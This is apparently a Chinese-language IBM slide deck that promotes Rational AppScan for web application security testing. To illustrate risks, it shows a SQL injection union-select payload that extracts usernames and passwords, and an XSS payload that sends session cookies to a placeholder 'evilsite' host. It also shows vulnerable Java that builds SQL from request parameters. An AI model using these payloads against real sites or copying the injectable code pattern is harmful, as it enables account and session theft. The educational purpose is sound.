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歡迎來到智慧的地球 (Smarter Planet) 

Our world is getting 

Instrumented 

Our world is getting 

Interconnected 

Our world is getting 

Intelligent 



3 

迎接智慧的地球我們將面對的挑戰 

Source  http://searchcompliance.techtarget.com/news/article/0,289142,sid195_gci1375707,00.html 

與日俱增的 

複雜度 

不斷增加的 

支出 

要確保符合 

法規要求 

Key drivers for security projects 

美國企業對於企業風
險與遵規管理的支出
已達到三百億美金, 台
灣企業也不斷地增加
相關預算 

據統計, 美國企業為
每筆被駭客竊取的客

戶資料, 要付出214美
金的代價, 台灣呢? 

很快地, 世界會有超過
一兆個裝置連接, 構成
所謂的物聯網 

(internet of things) 



Web應用程式的漏洞是最重要的風險來源 

根據X-Force的統計, 在所有類型的漏洞中, 49%是Web應用程式的漏洞 

即便很多人對其已不算陌生, Cross-Site Scripting 和 SQL injection 仍
然長年位居 Web 應用程式漏洞的Top 2 

 

IBM XFORCE Year-End 2010 Trend Report 



範例: SQL Injection 盜取帳戶資料 



改輸入01/01/2006 union select userid,null,username+','+password,null from users-- 

範例: SQL Injection 盜取帳戶資料 



範例: SQL Injection 盜取帳戶資料 

交易明細查詢 

竟變成 

帳號密碼查詢 



範例: Cross-site Scripting (XSS) 



範例: Cross-site Scripting (XSS) 

哦?變粗體了 

這個查詢欄位可以
用來執行程式耶 



範例: Cross-site Scripting (XSS) 
在查詢欄位輸入 

<script>document.write('<img src=http://evilsite/'+document.cookie);</script>  

使用者的session資料無聲無息被送往駭客的電腦 

嘿嘿…接下來只要想辦法騙別人連這個網址就好了 



更多應該關注應用程式安全性的理由 

• 因駭客攻擊導致資料外洩的案例中, 89% 和 SQL Injection 有關 

• 應遵循 PCI 安全標準的受害組織中, 有 79% 被發現沒有遵規 (non-compliant) 

• 被駭客竊取的資料中, 有 92% 是利用 Web 應用程式作為攻擊的途徑 

Verizon 2010 data Breach 

Investigations Report 



為什麼現在駭客喜歡入侵Web應用程式? 

• 應用程式功能愈來愈多, 開發人員被特別要求的是如期、不超出預算交付
能運作的應用程式, 但沒被要求要交付安全的應用程式 

• 開發人員大多沒有受過開發安全程式碼的實務教育訓練 

• 在智慧的地球上, 各種創新讓應用程式的複雜度愈來愈高, 相對地安全性
的問題也就更加複雜了 

• 企業太過仰賴網路弱點掃描工具或網路偵防硬體設備等基礎建設: 誤以為
應用程式的安全也兼顧到了 

Volumes of 

applications 

continue to be 

deployed that 

are riddled with 

security flaws…  

…and are non 

compliant with 

industry 

regulations 



駭客知識也愈來愈容易取得 



只有個資法是議題嗎? 
駭客入侵的後果不一定是個資外洩 

• 資料外洩 (Data Leakage) 

– 客戶、商業夥伴、財務交易資料、智慧財產等機敏資料外洩, 

致企業蒙受重大損失 

• 身分盜竊 (Identity theft) 

– 駭客以不屬於自己的身份、更高的權限存取系統 

• 站台竄改 (Site defacement) 

– 傷害企業品牌形象、客戶不信任 

• 應用程式停止服務 (Application goes down) 

– 業務中斷、生氣的客戶 

• 執行惡意程式 (Un-trusted code execution) 

– 駭客在伺服器上運行惡意的程式 



• 組織內的資安專家/設備多專長在網路/作業系統/

伺服器等基礎建設 

• 應用程式功能愈來愈多，架構愈來愈複雜，時程
壓力又大，程式人員往往不瞭解/忽視安全問題 

• 即使被告知應用系統漏洞，可能也不曉得從何處
理起 

• 處理應用程式安全問題變成上線的瓶頸 

• 委外開發的應用程式，難以驗收其安全性 

解鈴還須繫鈴人, 但… 



掃描應用程式 分析、識別問題 

及時地、自動化地進行 
應用程式安全性測詴 

詳盡且可採取行動的報告  
(全中文化) 

Rational AppScan 可以幫助您! 



應用程式安全性測詴技術 
結合不同技術得到更高的精確性 

程式碼靜態分析技術 (白箱測詴) 

•以理論模型分析程式碼以找出潛在的安
全性問題 

應用程式動態檢測技術 (黑箱測詴) 

對於運行中的應用程式針對各種漏洞類
型進行實測 

Total Potential 
Security Issues 

Dynamic 
Analysis 

Static 
Analysis 

Greatest 
accuracy 
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黑箱測詴原理示意 

• Stage 1: 如同一個正常的使用者探索網頁連結 

http://mySite/transaction.jsp 

http://mySite/ 

http://mySite/login.jsp 

http://mySite/feedback.jsp 

http://mySite/logout.jsp 
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黑箱測詴原理示意 

• Stage 1: 如同一個正常的使用者探索網頁連結 

• Stage 2: 使出渾身解數進行各種測詴 
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  // ... 

   

  String endDate = request.getParameter(“endDate"); 

 

  // ...  

  

    “bDate='" + beginDate + "' " + 

    "AND eDate='" + endDate + "'"; 

  

  // ... 

   

String beginDate = request.getParameter(“beginDate"); 

String query = "SELECT …" + beginDate 

ResultSet rs = stmt.executeQuery(query); 

String beginDate = request.getParameter(“beginDate"); 

String query = "SELECT * from TRANSACTIONS where " +' 

ResultSet rs = stmt.executeQuery(query); 

白箱測詴原理示意 



Rational AppScan: 簡單明瞭的使用者介面 



找到的資安漏洞 



資安漏洞線上教學 



詳盡完整的補強建議 



檢測出漏洞的證據…減少不必要的爭議 



產出可自訂內容的報告 
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• OWASP Top 10 2010 

• SANS/CWE Top 25 

• ISO 27001 , 27002 

• VISA PAPB 

• 支付卡行業資料安全標準 (PCI DSS) 

• Basel II 

• 沙賓法案 (SOX) 

• 美國金融服務法 (GLBA) 

• 電子資金移轉法 (EFTA) 

• 健康保險可攜性及責任性法案(HIPAA) 

內建近50種產業標準、資安法規的報告範本 



建立掃描排程，定期幫各系統健康檢查 



可檢測網站是否已遭植入或連結至惡意程式(Malware) 



在應用程式開發生命週期中加入安全的概念 

30 

 

 

 REQUIREMENTS  CODE  BUILD   PRE-PROD  PRODUCTION QA 

AppScan 
Standard 

AppScan  
Source 

AppScan 
Tester 

Security 
Requirements 

Definition  

AppScan 
Standard 

Security / compliance 
testing incorporated 

into testing & 
remediation   
workflows 

Security 
requirements 
defined before 

design & 
implementation 

Outsourced testing  
for security audits & 

production site 
monitoring 

Security & 
Compliance 

Testing, 
oversight, control, 

policy, audits 

Build security 
testing into the 

IDE 

Application Security Best Practices – Secure Engineering Framework 

Automate Security 
/ Compliance 
testing in the 
Build Process 

SECURITY 

AppScan 
Build 

AppScan Enterprise 

AppScan Reporting Console  
AppScan onDemand 

Dynamic Analysis/Blackbox –  

Static Analysis/Whitebox -  
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企業級應用程式安全管理解決方案 

Dashboards and Metrics  



結論: 應用程式自身就是最後一道駭客防線! 

• IBM是業界首先全面取得系統安全動態檢測
(黑箱測詴)和程式碼安全分析檢測(白箱測詴
)技術的公司，推出整合的解決方案，實現
全面的應用程式安全防護 

• 黑箱測詴直接模擬駭客的攻擊，是應用程式
安全的基礎設施，應優先考慮，方便於已上
線的系統，簡便地找出須即刻被修正的錯誤 

• 白箱測詴便利開發人員在開發早期使用，讓
問題早期治療；成本最低，避免在整測、上
線階段造成更大的時程壓力，且能幫助開發
人員從做中學 

 

• 更智慧的地球需要更多關注資安的開發者! 

所有潛在的安全問題 

動態檢測 靜態檢測 運行時分析 



www.ibm.com/software/rational 



Backup Slide (WAF與AppScan的整合) 



Security 

Analyst 

with 

AppScan 

Scans sites 
Website 
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